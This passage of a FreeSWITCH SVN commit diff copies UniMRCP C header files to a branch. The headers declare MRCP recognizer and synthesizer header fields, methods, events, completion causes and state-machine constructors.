+#define __MRCP_DEFAULT_FACTORY_H__
+
+/**
+ * @file mrcp_default_factory.h
+ * @brief Default MRCP Resource Factory
+ */ 
+
+#include "mrcp_resource_factory.h"
+
+APT_BEGIN_EXTERN_C
+
+/** Create default MRCP resource factory */
+MRCP_DECLARE(mrcp_resource_factory_t*) mrcp_default_factory_create(apr_pool_t *pool);
+
+
+APT_END_EXTERN_C
+
+#endif /*__MRCP_DEFAULT_FACTORY_H__*/

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mrcp/resources/include/mrcp_recog_header.h

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mrcp/resources/include/mrcp_recog_header.h (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mrcp/resources/include/mrcp_recog_header.h) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mrcp/resources/include/mrcp_recog_header.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mrcp/resources/include/mrcp_recog_header.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,216 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __MRCP_RECOG_HEADER_H__
+#define __MRCP_RECOG_HEADER_H__
+
+/**
+ * @file mrcp_recog_header.h
+ * @brief MRCP Recognizer Header
+ */ 
+
+#include "mrcp_types.h"
+#include "mrcp_header_accessor.h"
+
+APT_BEGIN_EXTERN_C
+
+/** MRCP recognizer headers */
+typedef enum {
+	RECOGNIZER_HEADER_CONFIDENCE_THRESHOLD,
+	RECOGNIZER_HEADER_SENSITIVITY_LEVEL,
+	RECOGNIZER_HEADER_SPEED_VS_ACCURACY,
+	RECOGNIZER_HEADER_N_BEST_LIST_LENGTH,
+	RECOGNIZER_HEADER_NO_INPUT_TIMEOUT,
+	RECOGNIZER_HEADER_RECOGNITION_TIMEOUT,
+	RECOGNIZER_HEADER_WAVEFORM_URI,
+	RECOGNIZER_HEADER_COMPLETION_CAUSE,
+	RECOGNIZER_HEADER_RECOGNIZER_CONTEXT_BLOCK,
+	RECOGNIZER_HEADER_START_INPUT_TIMERS,
+	RECOGNIZER_HEADER_SPEECH_COMPLETE_TIMEOUT,
+	RECOGNIZER_HEADER_SPEECH_INCOMPLETE_TIMEOUT,
+	RECOGNIZER_HEADER_DTMF_INTERDIGIT_TIMEOUT,
+	RECOGNIZER_HEADER_DTMF_TERM_TIMEOUT,
+	RECOGNIZER_HEADER_DTMF_TERM_CHAR,
+	RECOGNIZER_HEADER_FAILED_URI,
+	RECOGNIZER_HEADER_FAILED_URI_CAUSE,
+	RECOGNIZER_HEADER_SAVE_WAVEFORM,
+	RECOGNIZER_HEADER_NEW_AUDIO_CHANNEL,
+	RECOGNIZER_HEADER_SPEECH_LANGUAGE,
+
+	/** Additional headers for MRCP v2 */
+	RECOGNIZER_HEADER_INPUT_TYPE,
+	RECOGNIZER_HEADER_INPUT_WAVEFORM_URI,
+	RECOGNIZER_HEADER_COMPLETION_REASON,
+	RECOGNIZER_HEADER_MEDIA_TYPE,
+	RECOGNIZER_HEADER_VER_BUFFER_UTTERANCE,
+	RECOGNIZER_HEADER_RECOGNITION_MODE,
+	RECOGNIZER_HEADER_CANCEL_IF_QUEUE,
+	RECOGNIZER_HEADER_HOTWORD_MAX_DURATION,
+	RECOGNIZER_HEADER_HOTWORD_MIN_DURATION,
+	RECOGNIZER_HEADER_INTERPRET_TEXT,
+	RECOGNIZER_HEADER_DTMF_BUFFER_TIME,
+	RECOGNIZER_HEADER_CLEAR_DTMF_BUFFER,
+	RECOGNIZER_HEADER_EARLY_NO_MATCH,
+
+	RECOGNIZER_HEADER_COUNT
+} mrcp_recognizer_header_id;
+
+
+/** MRCP recognizer completion-cause  */
+typedef enum {
+	RECOGNIZER_COMPLETION_CAUSE_SUCCESS                 = 0,
+	RECOGNIZER_COMPLETION_CAUSE_NO_MATCH                = 1,
+	RECOGNIZER_COMPLETION_CAUSE_NO_INPUT_TIMEOUT        = 2,
+	RECOGNIZER_COMPLETION_CAUSE_RECOGNITION_TIMEOUT     = 3,
+	RECOGNIZER_COMPLETION_CAUSE_GRAM_LOAD_FAILURE       = 4,
+	RECOGNIZER_COMPLETION_CAUSE_GRAM_COMP_FAILURE       = 5,
+	RECOGNIZER_COMPLETION_CAUSE_ERROR                   = 6,
+	RECOGNIZER_COMPLETION_CAUSE_SPEECH_TOO_EARLY        = 7,
+	RECOGNIZER_COMPLETION_CAUSE_TOO_MUCH_SPEECH_TIMEOUT = 8,
+	RECOGNIZER_COMPLETION_CAUSE_URI_FAILURE             = 9,
+	RECOGNIZER_COMPLETION_CAUSE_LANGUAGE_UNSUPPORTED    = 10,
+
+	/** Additional completion-cause for MRCP v2 */
+	RECOGNIZER_COMPLETION_CAUSE_CANCELLED               = 11,
+	RECOGNIZER_COMPLETION_CAUSE_SEMANTICS_FAILURE       = 12,
+	RECOGNIZER_COMPLETION_CAUSE_PARTIAL_MATCH           = 13,
+	RECOGNIZER_COMPLETION_CAUSE_PARTIAL_MATCH_MAXTIME   = 14,
+	RECOGNIZER_COMPLETION_CAUSE_NO_MATCH_MAXTIME        = 15,
+	RECOGNIZER_COMPLETION_CAUSE_GRAM_DEFINITION_FAILURE = 16,
+
+	RECOGNIZER_COMPLETION_CAUSE_COUNT                   = 17,
+	RECOGNIZER_COMPLETION_CAUSE_UNKNOWN                 = RECOGNIZER_COMPLETION_CAUSE_COUNT
+} mrcp_recog_completion_cause_e;
+
+
+
+/** MRCP recognizer-header declaration */
+typedef struct mrcp_recog_header_t mrcp_recog_header_t;
+
+/** MRCP recognizer-header */
+struct mrcp_recog_header_t {
+	/** Tells the recognizer resource what confidence level the client considers a
+    successful match */
+	float                         confidence_threshold;
+	/** To filter out background noise and not mistake it for speech */
+	float                         sensitivity_level;
+	/** Tunable towards Performance or Accuracy */
+	float                         speed_vs_accuracy;
+	/** The client, by setting this header, can ask the recognition resource 
+	to send it more  than 1 alternative */
+	apr_size_t                    n_best_list_length;
+	/** The client can use the no-input-timeout header to set this timeout */
+	apr_size_t                    no_input_timeout;
+	/** The client can use the recognition-timeout header to set this timeout */
+	apr_size_t                    recognition_timeout;
+	/** MUST be present in the RECOGNITION-COMPLETE event if the Save-Waveform
+	header was set to true */
+	apt_str_t                     waveform_uri;
+	/** MUST be part of a RECOGNITION-COMPLETE, event coming from
+    the recognizer resource to the client */
+	mrcp_recog_completion_cause_e completion_cause;
+	/** MAY be sent as part of the SET-PARAMS or GET-PARAMS request */
+	apt_str_t                     recognizer_context_block;
+	/** MAY be sent as part of the RECOGNIZE request. A value of false tells
+	the recognizer to start recognition, but not to start the no-input timer yet */
+	apt_bool_t                    start_input_timers;
+	/** Specifies the length of silence required following user
+    speech before the speech recognizer finalizes a result */
+	apr_size_t                    speech_complete_timeout;
+	/** Specifies the required length of silence following user
+    speech after which a recognizer finalizes a result */
+	apr_size_t                    speech_incomplete_timeout;
+	/** Specifies the inter-digit timeout value to use when
+    recognizing DTMF input */
+	apr_size_t                    dtmf_interdigit_timeout;
+	/** Specifies the terminating timeout to use when 
+	recognizing DTMF input*/
+	apr_size_t                    dtmf_term_timeout;
+	/** Specifies the terminating DTMF character for DTMF input
+    recognition */
+	char                          dtmf_term_char;
+	/** When a recognizer needs to fetch or access a URI and the access fails
+    the server SHOULD provide the failed URI in this header in the method response*/
+	apt_str_t                     failed_uri;
+	/** When a recognizer method needs a recognizer to fetch or access a URI
+    and the access fails the server MUST provide the URI specific or
+    protocol specific response code for the URI in the Failed-URI header */
+	apt_str_t                     failed_uri_cause;
+	/** Allows the client to request the recognizer resource to
+    save the audio input to the recognizer */
+	apt_bool_t                    save_waveform;
+	/** MAY be specified in a RECOGNIZE request and allows the
+    client to tell the server that, from this point on, further input
+    audio comes from a different audio source */
+	apt_bool_t                    new_audio_channel;
+	/** Specifies the language of recognition grammar data within
+    a session or request, if it is not specified within the data */
+	apt_str_t                     speech_language;
+
+	/** Additional headers for MRCP v2 */
+	/** Specifies if the input that caused a barge-in was DTMF or speech */
+	apt_str_t                     input_type;
+	/** Optional header specifies a URI pointing to audio content to be
+    processed by the RECOGNIZE operation */
+	apt_str_t                     input_waveform_uri;
+	/** MAY be specified in a RECOGNITION-COMPLETE event coming from
+    the recognizer resource to the client */
+	apt_str_t                     completion_reason;
+	/** tells the server resource the Media Type in which to store captured 
+	audio such as the one captured and returned by the Waveform-URI header */
+	apt_str_t                     media_type;
+	/** lets the client request the server to buffer the
+    utterance associated with this recognition request into a buffer
+    available to a co-resident verification resource */
+	apt_bool_t                    ver_buffer_utterance;
+	/** Specifies what mode the RECOGNIZE method will operate in */
+	apt_str_t                     recognition_mode;
+	/** Specifies what will happen if the client attempts to
+    invoke another RECOGNIZE method when this RECOGNIZE request is
+    already in progress for the resource*/
+	apt_bool_t                    cancel_if_queue;
+	/** Specifies the maximum length of an utterance (in seconds) that will
+    be considered for Hotword recognition */
+	apr_size_t                    hotword_max_duration;
+	/** Specifies the minimum length of an utterance (in seconds) that will
+    be considered for Hotword recognition */
+	apr_size_t                    hotword_min_duration;
+	/** Provides a pointer to the text for which a natural language interpretation is desired */
+	apt_str_t                     interpret_text;
+	/** MAY be specified in a GET-PARAMS or SET-PARAMS method and
+    is used to specify the size in time, in milliseconds, of the
+    typeahead buffer for the recognizer */
+	apr_size_t                    dtmf_buffer_time;
+	/** MAY be specified in a RECOGNIZE method and is used to
+    tell the recognizer to clear the DTMF type-ahead buffer before
+    starting the recognize */
+	apt_bool_t                    clear_dtmf_buffer;
+	/** MAY be specified in a RECOGNIZE method and is used to
+    tell the recognizer that it MUST not wait for the end of speech
+    before processing the collected speech to match active grammars */
+	apt_bool_t                    early_no_match;
+};
+
+
+/** Get recognizer header vtable */
+MRCP_DECLARE(const mrcp_header_vtable_t*) mrcp_recog_header_vtable_get(mrcp_version_e version);
+
+/** Get recognizer completion cause string */
+MRCP_DECLARE(const apt_str_t*) mrcp_recog_completion_cause_get(mrcp_recog_completion_cause_e completion_cause, mrcp_version_e version);
+
+APT_END_EXTERN_C
+
+#endif /*__MRCP_RECOG_HEADER_H__*/

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mrcp/resources/include/mrcp_recog_resource.h

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mrcp/resources/include/mrcp_recog_resource.h (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mrcp/resources/include/mrcp_recog_resource.h) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mrcp/resources/include/mrcp_recog_resource.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mrcp/resources/include/mrcp_recog_resource.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,55 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __MRCP_RECOG_RESOURCE_H__
+#define __MRCP_RECOG_RESOURCE_H__
+
+/**
+ * @file mrcp_recog_resource.h
+ * @brief MRCP Recognizer Resource
+ */ 
+
+#include "mrcp_types.h"
+
+APT_BEGIN_EXTERN_C
+
+/** MRCP recognizer methods */
+typedef enum {
+	RECOGNIZER_SET_PARAMS,
+	RECOGNIZER_GET_PARAMS,
+	RECOGNIZER_DEFINE_GRAMMAR,
+	RECOGNIZER_RECOGNIZE,
+	RECOGNIZER_GET_RESULT,
+	RECOGNIZER_START_INPUT_TIMERS,
+	RECOGNIZER_STOP,
+
+	RECOGNIZER_METHOD_COUNT
+} mrcp_recognizer_method_id;
+
+/** MRCP recognizer events */
+typedef enum {
+	RECOGNIZER_START_OF_INPUT,
+	RECOGNIZER_RECOGNITION_COMPLETE,
+
+	RECOGNIZER_EVENT_COUNT
+} mrcp_recognizer_event_id;
+
+/** Create MRCP recognizer resource */
+MRCP_DECLARE(mrcp_resource_t*) mrcp_recog_resource_create(apr_pool_t *pool);
+
+APT_END_EXTERN_C
+
+#endif /*__MRCP_RECOG_RESOURCE_H__*/

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mrcp/resources/include/mrcp_recog_state_machine.h

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mrcp/resources/include/mrcp_recog_state_machine.h (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mrcp/resources/include/mrcp_recog_state_machine.h) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mrcp/resources/include/mrcp_recog_state_machine.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mrcp/resources/include/mrcp_recog_state_machine.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,37 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __MRCP_RECOG_STATE_MACHINE_H__
+#define __MRCP_RECOG_STATE_MACHINE_H__
+
+/**
+ * @file mrcp_recog_state_machine.h
+ * @brief MRCP Recognizer State Machine
+ */ 
+
+#include "mrcp_state_machine.h"
+
+APT_BEGIN_EXTERN_C
+
+/** Create MRCP recognizer server state machine */
+mrcp_state_machine_t* mrcp_recog_server_state_machine_create(void *obj, mrcp_version_e version, apr_pool_t *pool);
+
+/** Create MRCP recognizer client state machine */
+mrcp_state_machine_t* mrcp_recog_client_state_machine_create(void *obj, mrcp_version_e version, apr_pool_t *pool);
+
+APT_END_EXTERN_C
+
+#endif /*__MRCP_RECOG_STATE_MACHINE_H__*/

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mrcp/resources/include/mrcp_synth_header.h

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mrcp/resources/include/mrcp_synth_header.h (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mrcp/resources/include/mrcp_synth_header.h) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mrcp/resources/include/mrcp_synth_header.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mrcp/resources/include/mrcp_synth_header.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,302 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __MRCP_SYNTH_HEADER_H__
+#define __MRCP_SYNTH_HEADER_H__
+
+/**
+ * @file mrcp_synth_header.h
+ * @brief MRCP Synthesizer Header
+ */ 
+
+#include "mrcp_types.h"
+#include "mrcp_header_accessor.h"
+
+APT_BEGIN_EXTERN_C
+
+/** MRCP synthesizer headers */
+typedef enum {
+	SYNTHESIZER_HEADER_JUMP_SIZE,
+	SYNTHESIZER_HEADER_KILL_ON_BARGE_IN,
+	SYNTHESIZER_HEADER_SPEAKER_PROFILE,
+	SYNTHESIZER_HEADER_COMPLETION_CAUSE,
+	SYNTHESIZER_HEADER_COMPLETION_REASON,
+	SYNTHESIZER_HEADER_VOICE_GENDER,
+	SYNTHESIZER_HEADER_VOICE_AGE,
+	SYNTHESIZER_HEADER_VOICE_VARIANT,
+	SYNTHESIZER_HEADER_VOICE_NAME,
+	SYNTHESIZER_HEADER_PROSODY_VOLUME,
+	SYNTHESIZER_HEADER_PROSODY_RATE,
+	SYNTHESIZER_HEADER_SPEECH_MARKER,
+	SYNTHESIZER_HEADER_SPEECH_LANGUAGE,
+	SYNTHESIZER_HEADER_FETCH_HINT,
+	SYNTHESIZER_HEADER_AUDIO_FETCH_HINT,
+	SYNTHESIZER_HEADER_FAILED_URI,
+	SYNTHESIZER_HEADER_FAILED_URI_CAUSE,
+	SYNTHESIZER_HEADER_SPEAK_RESTART,
+	SYNTHESIZER_HEADER_SPEAK_LENGTH,
+	SYNTHESIZER_HEADER_LOAD_LEXICON,
+	SYNTHESIZER_HEADER_LEXICON_SEARCH_ORDER,
+
+	SYNTHESIZER_HEADER_COUNT
+} mrcp_synthesizer_header_id;
+
+
+/** Speech-units */
+typedef enum {
+	SPEECH_UNIT_SECOND,
+	SPEECH_UNIT_WORD,
+	SPEECH_UNIT_SENTENCE,
+	SPEECH_UNIT_PARAGRAPH,
+
+	SPEECH_UNIT_COUNT
+} mrcp_speech_unit_e;
+
+/** Speech-length types */
+typedef enum {
+	SPEECH_LENGTH_TYPE_TEXT,
+	SPEECH_LENGTH_TYPE_NUMERIC_POSITIVE,
+	SPEECH_LENGTH_TYPE_NUMERIC_NEGATIVE,
+
+	SPEECH_LENGTH_TYPE_UNKNOWN
+} mrcp_speech_length_type_e;
+
+/** MRCP voice-gender */
+typedef enum {
+	VOICE_GENDER_MALE,
+	VOICE_GENDER_FEMALE,
+	VOICE_GENDER_NEUTRAL,
+	
+	VOICE_GENDER_COUNT,
+	VOICE_GENDER_UNKNOWN = VOICE_GENDER_COUNT
+} mrcp_voice_gender_e;
+
+/** Prosody-volume type */
+typedef enum {
+	PROSODY_VOLUME_TYPE_LABEL,
+	PROSODY_VOLUME_TYPE_NUMERIC,
+	PROSODY_VOLUME_TYPE_RELATIVE_CHANGE,
+	
+	PROSODY_VOLUME_TYPE_UNKNOWN
+} mrcp_prosody_volume_type_e;
+
+/** Prosody-rate type */
+typedef enum {
+	PROSODY_RATE_TYPE_LABEL,
+	PROSODY_RATE_TYPE_RELATIVE_CHANGE,
+
+	PROSODY_RATE_TYPE_UNKNOWN
+} mrcp_prosody_rate_type_e;
+
+/** Prosody-volume */
+typedef enum {
+	PROSODY_VOLUME_SILENT,
+	PROSODY_VOLUME_XSOFT,
+	PROSODY_VOLUME_SOFT,
+	PROSODY_VOLUME_MEDIUM,
+	PROSODY_VOLUME_LOUD,
+	PROSODY_VOLUME_XLOUD,
+	PROSODY_VOLUME_DEFAULT,
+
+	PROSODY_VOLUME_COUNT,
+	PROSODY_VOLUME_UNKNOWN = PROSODY_VOLUME_COUNT
+} mrcp_prosody_volume_label_e;
+
+/** Prosody-rate */
+typedef enum {
+	PROSODY_RATE_XSLOW,
+	PROSODY_RATE_SLOW,
+	PROSODY_RATE_MEDIUM,
+	PROSODY_RATE_FAST,
+	PROSODY_RATE_XFAST,
+	PROSODY_RATE_DEFAULT,
+
+	PROSODY_RATE_COUNT,
+	PROSODY_RATE_UNKNOWN = PROSODY_RATE_COUNT
+} mrcp_prosody_rate_label_e;
+
+/** Synthesizer completion-cause specified in SPEAK-COMPLETE event */
+typedef enum {
+	SYNTHESIZER_COMPLETION_CAUSE_NORMAL               = 0,
+	SYNTHESIZER_COMPLETION_CAUSE_BARGE_IN             = 1,
+	SYNTHESIZER_COMPLETION_CAUSE_PARSE_FAILURE        = 2,
+	SYNTHESIZER_COMPLETION_CAUSE_URI_FAILURE          = 3,
+	SYNTHESIZER_COMPLETION_CAUSE_ERROR                = 4,
+	SYNTHESIZER_COMPLETION_CAUSE_LANGUAGE_UNSUPPORTED = 5,
+	SYNTHESIZER_COMPLETION_CAUSE_LEXICON_LOAD_FAILURE = 6,
+	SYNTHESIZER_COMPLETION_CAUSE_CANCELLED            = 7,
+
+	SYNTHESIZER_COMPLETION_CAUSE_COUNT                = 8,
+	SYNTHESIZER_COMPLETION_CAUSE_UNKNOWN              = SYNTHESIZER_COMPLETION_CAUSE_COUNT
+} mrcp_synth_completion_cause_e;
+
+
+/** Speech-length value declaration */
+typedef struct mrcp_speech_length_value_t mrcp_speech_length_value_t;
+/** Numeric speech-length declaration */
+typedef struct mrcp_numeric_speech_length_t mrcp_numeric_speech_length_t;
+/** Prosody-param declaration */
+typedef struct mrcp_prosody_param_t mrcp_prosody_param_t;
+/** Voice-param declaration */
+typedef struct mrcp_voice_param_t mrcp_voice_param_t;
+/**Prosody-rate declaration*/
+typedef struct mrcp_prosody_rate_t mrcp_prosody_rate_t;
+/**Prosody-volume declaration*/
+typedef struct mrcp_prosody_volume_t mrcp_prosody_volume_t;
+/** MRCP synthesizer-header declaration */
+typedef struct mrcp_synth_header_t mrcp_synth_header_t;
+
+/** Numeric speech-length */
+struct mrcp_numeric_speech_length_t {
+	/** The length */
+	apr_size_t         length;
+	/** The unit (second/word/sentence/paragraph) */
+	mrcp_speech_unit_e unit;
+};
+
+/** Definition of speech-length value */
+struct mrcp_speech_length_value_t {
+	/** Speech-length type (numeric/text)*/
+	mrcp_speech_length_type_e type;
+	/** Speech-length value (either numeric or text) */
+	union {
+		/** Text speech-length */
+		apt_str_t                    tag;
+		/** Numeric speech-length */
+		mrcp_numeric_speech_length_t numeric;
+	} value;
+};
+
+/** MRCP voice-param */
+struct mrcp_voice_param_t {
+	/** Voice gender (male/femaile/neutral)*/
+	mrcp_voice_gender_e gender;
+	/** Voice age */
+	apr_size_t          age;
+	/** Voice variant */
+	apr_size_t          variant;
+	/** Voice name */
+	apt_str_t           name;
+};
+
+/** MRCP prosody-volume */
+struct mrcp_prosody_volume_t {
+	/** prosody-volume type (one of label,numeric,relative change) */
+	mrcp_prosody_volume_type_e type;
+
+	/** prosody-volume value */
+	union {
+		/** one of "silent", "x-soft,..." */ 
+		mrcp_prosody_volume_label_e label;
+		/** numeric value */
+		float                       numeric;
+		/** relative change */
+		float                       relative;
+	} value;
+};
+
+/** MRCP prosody-rate */
+struct mrcp_prosody_rate_t {
+	/** prosody-rate type (one of label, relative change) */
+	mrcp_prosody_rate_type_e type;
+
+	/** prosody-rate value */
+	union {
+		/** one of "x-slow", "slow,..." */ 
+		mrcp_prosody_rate_label_e label;
+		/** relative change */
+		float                     relative;
+	} value;
+};
+
+/** MRCP prosody-param */
+struct mrcp_prosody_param_t {
+	/** Prosofy volume */
+	mrcp_prosody_volume_t volume;
+	/** Prosofy rate */
+	mrcp_prosody_rate_t   rate;
+};
+
+/** MRCP synthesizer-header */
+struct mrcp_synth_header_t {
+	/** MAY be specified in a CONTROL method and controls the
+    amount to jump forward or backward in an active "SPEAK" request */
+	mrcp_speech_length_value_t    jump_size;
+	/** MAY be sent as part of the "SPEAK" method to enable kill-
+    on-barge-in support */
+	apt_bool_t                    kill_on_barge_in;
+	/** MAY be part of the "SET-PARAMS"/"GET-PARAMS" or "SPEAK"
+    request from the client to the server and specifies a URI which
+    references the profile of the speaker */
+	apt_str_t                     speaker_profile;
+	/** MUST be specified in a "SPEAK-COMPLETE" event coming from
+    the synthesizer resource to the client */
+	mrcp_synth_completion_cause_e completion_cause;
+	/** MAY be specified in a "SPEAK-COMPLETE" event coming from
+    the synthesizer resource to the client */
+	apt_str_t                     completion_reason;
+	/** This set of headers defines the voice of the speaker */
+	mrcp_voice_param_t            voice_param;
+	/** This set of headers defines the prosody of the speech */
+	mrcp_prosody_param_t          prosody_param;
+	/** Contains timestamp information in a "timestamp" field */
+	apt_str_t                     speech_marker;
+	/** specifies the default language of the speech data if the
+    language is not specified in the markup */
+	apt_str_t                     speech_language;
+	/** When the synthesizer needs to fetch documents or other resources like
+    speech markup or audio files, this header controls the corresponding
+    URI access properties */
+	apt_str_t                     fetch_hint;
+	/** When the synthesizer needs to fetch documents or other resources like
+    speech audio files, this header controls the corresponding URI access
+    properties */
+	apt_str_t                     audio_fetch_hint;
+	/** When a synthesizer method needs a synthesizer to fetch or access a
+    URI and the access fails, the server SHOULD provide the failed URI in
+    this header in the method response */
+	apt_str_t                     failed_uri;
+	/** When a synthesizer method needs a synthesizer to fetch or access a
+    URI and the access fails the server MUST provide the URI specific or
+    protocol specific response code for the URI in the Failed-URI header
+    in the method response through this header */
+	apt_str_t                     failed_uri_cause;
+	/** When a CONTROL request to jump backward is issued to a currently
+    speaking synthesizer resource, and the target jump point is before
+    the start of the current "SPEAK" request, the current "SPEAK" request
+    MUST restart */
+	apt_bool_t                    speak_restart;
+	/** MAY be specified in a CONTROL method to control the
+    length of speech to speak, relative to the current speaking point in
+    the currently active "SPEAK" request */
+	mrcp_speech_length_value_t    speak_length;
+	/** Used to indicate whether a lexicon has to be loaded or unloaded */
+	apt_bool_t                    load_lexicon;
+	/** used to specify a list of active Lexicon URIs and the
+    search order among the active lexicons */
+	apt_str_t                     lexicon_search_order;
+};
+
+/** Get synthesizer header vtable */
+MRCP_DECLARE(const mrcp_header_vtable_t*) mrcp_synth_header_vtable_get(mrcp_version_e version);
+
+/** Get synthesizer completion cause string */
+MRCP_DECLARE(const apt_str_t*) mrcp_synth_completion_cause_get(mrcp_synth_completion_cause_e completion_cause, mrcp_version_e version);
+
+
+APT_END_EXTERN_C
+
+#endif /*__MRCP_SYNTH_HEADER_H__*/

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mrcp/resources/include/mrcp_synth_resource.h

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mrcp/resources/include/mrcp_synth_resource.h (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mrcp/resources/include/mrcp_synth_resource.h) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mrcp/resources/include/mrcp_synth_resource.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mrcp/resources/include/mrcp_synth_resource.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,58 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __MRCP_SYNTH_RESOURCE_H__
+#define __MRCP_SYNTH_RESOURCE_H__
+
+/**
+ * @file mrcp_synth_resource.h
+ * @brief MRCP Synthesizer Resource
+ */ 
+
+#include "mrcp_types.h"
+
+APT_BEGIN_EXTERN_C
+
+/** MRCP synthesizer methods */
+typedef enum {
+	SYNTHESIZER_SET_PARAMS,
+	SYNTHESIZER_GET_PARAMS,
+	SYNTHESIZER_SPEAK,
+	SYNTHESIZER_STOP,
+	SYNTHESIZER_PAUSE,
+	SYNTHESIZER_RESUME,
+	SYNTHESIZER_BARGE_IN_OCCURRED,
+	SYNTHESIZER_CONTROL,
+	SYNTHESIZER_DEFINE_LEXICON,
+
+	SYNTHESIZER_METHOD_COUNT
+} mrcp_synthesizer_method_id;
+
+/** MRCP synthesizer events */
+typedef enum {
+	SYNTHESIZER_SPEECH_MARKER,
+	SYNTHESIZER_SPEAK_COMPLETE,
+
+	SYNTHESIZER_EVENT_COUNT
+} mrcp_synthesizer_event_id;
+
+
+/** Create MRCP synthesizer resource */
+MRCP_DECLARE(mrcp_resource_t*) mrcp_synth_resource_create(apr_pool_t *pool);
+
+APT_END_EXTERN_C
+
+#endif /*__MRCP_SYNTH_RESOURCE_H__*/

Deleted: freeswitch/branches/seven/libs/unimrcp/libs/mrcp/resources/include/mrcp_synth_state_machine.h

Copied: freeswitch/branches/seven/libs/unimrcp/libs/mrcp/resources/include/mrcp_synth_state_machine.h (from rev 14471, freeswitch/trunk/libs/unimrcp/libs/mrcp/resources/include/mrcp_synth_state_machine.h) (0 => 14472)


--- freeswitch/branches/seven/libs/unimrcp/libs/mrcp/resources/include/mrcp_synth_state_machine.h	                        (rev 0)
+++ freeswitch/branches/seven/libs/unimrcp/libs/mrcp/resources/include/mrcp_synth_state_machine.h	2009-08-09 18:53:22 UTC (rev 14472)
@@ -0,0 +1,37 @@
+/*
+ * Copyright 2008 Arsen Chaloyan
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *     http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+#ifndef __MRCP_SYNTH_STATE_MACHINE_H__
+#define __MRCP_SYNTH_STATE_MACHINE_H__
+
+/**
+ * @file mrcp_synth_state_machine.h
+ * @brief MRCP Synthesizer State Machine
+ */ 
+
+#include "mrcp_state_machine.h"
+
+APT_BEGIN_EXTERN_C
+
